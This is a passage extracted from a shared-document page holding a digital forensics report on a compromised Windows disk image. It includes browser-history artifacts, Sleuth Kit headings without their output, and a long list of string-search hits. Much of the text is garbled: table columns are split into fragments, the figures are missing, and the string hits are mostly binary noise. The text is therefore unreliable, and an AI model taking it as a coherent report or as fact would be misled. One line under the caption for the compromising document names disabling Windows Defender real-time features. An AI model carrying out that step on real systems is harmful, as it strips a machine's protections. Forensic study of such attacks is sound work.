6b6160ca84022b&sp=1&pq=wash&sc=8- 20:3 t ata/Local/Microsoft/
4&qs=EP&sk=PRES1&cvid=aa1423938e1c46ff876b 8:40 Ed Windows/WebCach
6160ca84022b&cc=US&setlang=en-US CDT ge e/WebCacheV01.da
t
https://www.cnn.com/ 2020 Mi www.c Al /
-05- cro nn.com a img_disk.raw/vol_vo
t
https://www.msn.com/ 2020 Mi www.m Al /
-05- cro sn.com a img_disk.raw/vol_vo
t
https://www.washingtonpost.com/ 2020 Mi www.w Al /
-05- cro ashingt a img_disk.raw/vol_vo
07 sof onpost. n l7/Users/Alan/AppD
20:3 t com ata/Local/Microsoft/
Page 144/145
R U
U
e R
T se
f L T
Date i Pr r
e D a
r o g
sed l am a
r m s
e m
e ai
e
r n
t
https://www.washingtonpost.com/
Page 145/145

Intelligence Report Final

Uploaded by

Document Information

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Intelligence Report Final

Uploaded by

Copyright:

Available Formats

Forensic Analysis Intelligence Report

ABOUT THIS REPORT

Date Engaged 11-APRIL-2021

Forensic Investigator ALI BABA

Checking image integrity

Fig 1.0. shows the hash value comparison

Fig 1.2. The image details is being shown.

How the computer was compromised

Fig 1.2. shows the content of the boot directory.

Fig 1.4. A deleted image in the contrast-black folder.

From The Sleuth Kit istat Tool:

MFT Entry Header Values:

$STANDARD_INFORMATION Attribute Values:

From The Sleuth Kit istat Tool:

MFT Entry Header Values:

$STANDARD_INFORMATION Attribute Values:

Fig 1.9 document that was used to compromise the user

# Disable Windows Defender features in real time

q[9me!b9 o17how@pg /img_disk.raw/vol_vol7/Windows/Speech_OneCore/Engines/TTS/en-

q[9me!b9 o17how@pg /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

p checksum offlhoad «%net@vsc.de« /

ult micros -windows «-@hsvc.re« /

,l va$e7 +xr, g" s «- /img_disk.raw/vol_vol7/Windows/Speech/Engines/SR/en-US/l1033.ngr

,l va$e7 +xr, g" s «- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

*~ _a=6) ;g(2 )lcim /img_disk.raw/vol_vol7/Windows/Fonts/msjhbd.ttc

*~ _a=6) ;g(2 )lcim /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

l) ]0n0 n(&h) 0k0v0 /

l) ]0n0 n(&h) 0k0v0 /img_disk.raw/vol_vol7/Windows/System32/IME/IMEJP/IMJPDCT.EXE

l) ]0n0 n(&h) 0k0v0 /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

l) ]0n0 n(&h) 0k0v0 /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-windows-

j'zg >f f $>g1 %a?? /img_disk.raw/vol_vol7/Windows/SysWOW64/WindowsCodecsRaw.dll

j'zg >f f $>g1 %a?? /img_disk.raw/vol_vol7/Windows/System32/WindowsCodecsRaw.dll

j'zg >f f $>g1 %a?? /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

j'zg >f f $>g1 %a?? /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-windows-

h axdx ta8i( >@830 .«3@vnd.ms«- /

ttrehe)\ wow6 video/«3gpp@2.mov« /

t 0513110 832 ggif@«4@ter.co« /

z b)d\\4 k00] /img_disk.raw/vol_vol7/Windows/Fonts/seguihis.ttf

z b)d\\4 k00] /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-font-

bgpe,_,8on b>9yl;4 /img_disk.raw/vol_vol7/Windows/Speech_OneCore/Engines/TTS/en-

bgpe,_,8on b>9yl;4 /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

ea.$ z cz@, z2"z5# /img_disk.raw/vol_vol7/Windows/Speech/Engines/SR/en-US/l1033.ngr

ea.$ z cz@, z2"z5# /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

7 \@7!\@ a[@lt )am$ /img_disk.raw/vol_vol7/Windows/Speech/Engines/SR/en-US/l1033.ngr

7 \@7!\@ a[@lt )am$ /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

bob jenkins, 1996. /img_disk.raw/vol_vol7/Windows/Help/en-US/credits.rtf

bob jenkins, 1996. /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

h}j 5sb1c !%)=cld <^«8- /img_disk.raw/vol_vol7/Windows/Fonts/msjhl.ttc

h}j 5sb1c !%)=cld <^«8- /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

k7(@cv(@k alpo wa66 /img_disk.raw/vol_vol7/Windows/Speech/Engines/SR/en-US/l1033.ngr

k7(@cv(@k alpo wa66 /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

haar e-mail /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

haar e-mail /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

/signature> </xrml> /img_disk.raw/vol_vol7/Windows/SysWOW64/winmsipc.dll

/signature> </xrml> /img_disk.raw/vol_vol7/Windows/System32/winmsipc.dll

/signature> </xrml> /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-

/signature> </xrml> /img_disk.raw/vol_vol7/Windows/WinSxS/wow64_microsoft-

is not initialized «_c14e99c7- /img_disk.raw/vol_vol7/Program

is not initialized «_c14e99c7- /img_disk.raw/vol_vol7/Program

is not initialized «_c14e99c7- /img_disk.raw/vol_vol7/Program

1@msn.com' is nu /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

en één e-mailadres: /img_disk.raw/vol_vol7/Program Files/Common Files/microsoft

en één e-mailadres: /img_disk.raw/vol_vol7/Windows/WinSxS/amd64_microsoft-windows-

l.f tif) 7 %ld. ) /